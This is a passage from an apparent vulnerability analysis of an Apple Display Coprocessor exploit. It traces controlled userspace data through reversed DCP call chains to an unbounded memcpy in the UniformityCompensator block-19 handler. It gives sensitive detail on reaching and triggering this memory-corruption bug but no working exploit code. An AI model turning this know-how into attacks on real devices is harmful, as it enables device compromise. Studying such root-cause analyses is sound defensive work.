<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">make_link_call</span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c22">'D453'</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">&</span><span class="HovzfPYjjR-c0">req</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0x20</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">&</span><span class="HovzfPYjjR-c0">resp</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0x14</span><span class="HovzfPYjjR-c1">);</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">which corresponds to a call to this method on the AP side:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.6497588dbb4a0e06e642bb1567a0fe45e731eabb"></a><a id="t.21"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">IOMFB</span><span class="HovzfPYjjR-c1">::</span><span class="HovzfPYjjR-c14">MemDescRelay</span><span class="HovzfPYjjR-c1">::</span><span class="HovzfPYjjR-c0">withAddressRange</span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">long</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">long</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">long</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">long</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> task</span><span class="HovzfPYjjR-c1">*,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">long</span><span class="HovzfPYjjR-c1">*,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">long</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">long</span><span class="HovzfPYjjR-c1">*)</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The DCP calls </span><span class="HovzfPYjjR-c7">::prepare</span><span> and </span><span class="HovzfPYjjR-c7">::map</span><span> on the returned </span><span class="HovzfPYjjR-c7">MDES</span><span> object (exactly like an </span><span class="HovzfPYjjR-c7">IOMemoryDescriptor</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> object in IOKit), gets the mapped pointer and size to pass via a few final levels of indirection to the block handler:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.9bfd168ba40a9f143ab7f16183ab117679ba2dbc"></a><a id="t.22"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">a_descriptor_with_controlled_stuff</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">dispatcher_fptr</span><span class="HovzfPYjjR-c1">(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> a_descriptor_with_controlled_stuff</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> block_type_handler</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> important_ptr</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> important_size</span><span class="HovzfPYjjR-c1">);</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>where the </span><span class="HovzfPYjjR-c7">dispatcher_fptr</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> looks like this:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.acd62f1b5ef2e8ae92523e3f984117951fec44d7"></a><a id="t.23"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">a_dispatcher</span><span class="HovzfPYjjR-c1">(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> metadispatcher </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">disp</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c14">BlockHandler</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">block_handler</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> __int64 controlled_ptr</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> controlled_size</span><span class="HovzfPYjjR-c1">)</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">return</span><span class="HovzfPYjjR-c0"> block_handler</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c14">BlockHandler_setBlock</span><span class="HovzfPYjjR-c1">(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> block_handler</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> disp</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">structure_input_buffer</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> disp</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">structure_input_size</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> disp</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> disp</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">cnt_remaining_sclar_input</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> disp</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">handlers_holder</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">gate</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> controlled_ptr</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> controlled_size</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">}</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">You can see here just how useful it is to keep making structure definitions while reversing; there are so many levels of indirection that it's pretty much impossible to keep it all in your head.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c7">BlockHandler_setBlock</span><span> is a virtual method on </span><span class="HovzfPYjjR-c7">BLHA</span><span>.</span><span> This is the implementation for </span><span class="HovzfPYjjR-c7">BLHA</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> 19:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.54f6196429ae58c591e0fbda962486be871b857c"></a><a id="t.24"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c14">BlockHandler19</span><span class="HovzfPYjjR-c1">::</span><span class="HovzfPYjjR-c0">setBlock</span><span class="HovzfPYjjR-c1">(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c14">BlockHandler</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c9">this</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">void</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">structure_input_buffer</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> int64 structure_input_size</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> int64 </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> cnt_remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c14">CommandGate</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">gate</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">void</span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0"> mapped_mdesc_ptr</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> mapped_mdesc_length</span><span class="HovzfPYjjR-c1">)</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>This uses a Command Gate (</span><span class="HovzfPYjjR-c7">GATI</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">) object (like a call gate in IOKit to serialise calls) to finally get close to actually calling the setBlock_Impl function.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>We need to reverse the </span><span class="HovzfPYjjR-c7">gate_context</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> structure to follow the controlled data through the gate:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.ecbfc354e58e0a03f109ff9486e9e7688b91b2e0"></a><a id="t.25"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> __attribute__</span><span class="HovzfPYjjR-c1">((</span><span class="HovzfPYjjR-c0">aligned</span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c4">8</span><span class="HovzfPYjjR-c1">)))</span><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> gate_context</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c14">BlockHandler</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">the_target_this</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t structure_input_buffer</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">void</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint32_t cnt_remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint32_t field_28</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t controlled_ptr</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint32_t controlled_length</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">};</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">The callgate object uses that context object to finally call the BLHA setBlock handler:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.af3652c5bd10314e902473b353a7422786c1de2f"></a><a id="t.26"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">callback_used_by_callgate_in_block_19_setBlock</span><span class="HovzfPYjjR-c1">(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c14">UnifiedPipeline</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">parent_pipeline</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> gate_context </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">context</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> int64 a3</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> int64 a4</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> int64 a5</span><span class="HovzfPYjjR-c1">)</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">return</span><span class="HovzfPYjjR-c0"> context</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">the_target_this</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">setBlock_Impl</span><span class="HovzfPYjjR-c1">)(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> context</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">the_target_this</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">back_ptr_to_UPPipeDCP_H13P</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> context</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">structure_input_buffer</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> context</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> context</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">cnt_remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> context</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">controlled_ptr</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> context</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">controlled_length</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">}</span></p></td></tr></table><h2 class="HovzfPYjjR-c15 HovzfPYjjR-c8" id="h.3xz0wc9abhwz"><span class="HovzfPYjjR-c16 HovzfPYjjR-c2">SetBlock_Impl</span></h2>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>And finally we've made it through the whole callstack following the controlled data from </span><span class="HovzfPYjjR-c7">IOConnectCallMethod</span><span> in userspace on the AP to the </span><span class="HovzfPYjjR-c7">setBlock_Impl</span><span> methods on the DCP!</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The prototype of the </span><span class="HovzfPYjjR-c7">setBlock_Impl</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> methods looks like this:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.ce1b657ebc4685a8be9f9a3720b828c0f9a2d7ce"></a><a id="t.27"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">setBlock_Impl</span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c14">UPPipeDCP_H13P</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">pipe_parent</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">void</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">structure_input_buffer</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> cnt_remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">void</span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0"> ptr_via_memdesc</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> len_of_memdesc_mapped_buf</span><span class="HovzfPYjjR-c1">)</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The exploit calls two </span><span class="HovzfPYjjR-c7">setBlock_Impl</span><span> methods; </span><span class="HovzfPYjjR-c7">7</span><span> and </span><span class="HovzfPYjjR-c7">19</span><span>. 7 is fairly simple and seems to just be used to put controlled data in a known location. 19 is the buggy one. From the log strings we can tell that block type 19 handler is implemented in a file called </span><span class="HovzfPYjjR-c7">UniformityCompensator.cpp</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c17"><a class="HovzfPYjjR-c191" href="https://www.benq.com/en-us/knowledge-center/knowledge/screen-uniformity.html">Uniformity Compensation</a></span><span> is a way to correct for inconsistencies in brightness and colour reproduction across a display panel. Block type 19 sets and gets a data structure containing this correction information. The </span><span class="HovzfPYjjR-c7">setBlock_Impl</span><span> method calls </span><span class="HovzfPYjjR-c7">UniformityCompensator::set</span><span> and reaches the following code snippet where </span><span class="HovzfPYjjR-c7">controlled_size</span><span> is a fully-controlled u32 value read from the structure input and </span><span class="HovzfPYjjR-c7">indirect_buffer_ptr</span><span> points to the mapped buffer, the contents of which are also controlled:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2"></span></p><a id="t.7beb7cf889ce845693bd09783570df3d7b3034d3"></a><a id="t.28"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">uint8_t</span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0"> pages </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> compensator</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">inline_buffer</span><span class="HovzfPYjjR-c1">;</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c30">// +0x24</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c9">for</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> pg_cnt </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0</span><span class="HovzfPYjjR-c1">;</span><span class="HovzfPYjjR-c0"> pg_cnt </span><span class="HovzfPYjjR-c1"><</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">3</span><span class="HovzfPYjjR-c1">;</span><span class="HovzfPYjjR-c0"> pg_cnt</span><span class="HovzfPYjjR-c1">++)</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint8_t</span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0"> this_page </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> pages</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">for</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> i </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0</span><span class="HovzfPYjjR-c1">;</span><span class="HovzfPYjjR-c0"> i </span><span class="HovzfPYjjR-c1"><</span><span class="HovzfPYjjR-c0"> controlled_size</span><span class="HovzfPYjjR-c1">;</span><span class="HovzfPYjjR-c0"> i</span><span class="HovzfPYjjR-c1">++)</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> memcpy</span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0">this_page</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> indirect_buffer_ptr</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">4</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0"> controlled_size</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> indirect_buffer_ptr </span><span class="HovzfPYjjR-c1">+=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">4</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0"> controlled_size</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> this_page </span><span class="HovzfPYjjR-c1">+=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0x100</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">}</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> pages </span><span class="HovzfPYjjR-c1">+=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0x4000</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">}</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2"></span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>There's a distinct lack of bounds checking on </span><span class="HovzfPYjjR-c7">controlled_size</span><span>. Based on the structure of the code it looks like it should be restricted to be less than or equal to </span><span class="HovzfPYjjR-c7">64</span><span> (as that would result in the input being completely copied to the output buffer.) The </span><span class="HovzfPYjjR-c7">compensator->inline_buffer</span><span> buffer is inline in the compensator object. The structure of the code makes it look that that buffer is probably </span><span class="HovzfPYjjR-c7">0xc000</span><span> (three 16k pages) large. To verify this we need to find the allocation site of this compensator object.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>It's read from the </span><span class="HovzfPYjjR-c7">pipe_parent</span><span> object and we know that at this point </span><span class="HovzfPYjjR-c7">pipe_parent</span><span> is a </span><span class="HovzfPYjjR-c7">UPPipeDCP_H13P</span><span> object.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>There's only one write to that field, here in </span><span class="HovzfPYjjR-c7">UPPipeDCP_H13P::setup_tunables_base_target</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.76bc35a503bf64e16502962e6e6a4632f74fe58f"></a><a id="t.29"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
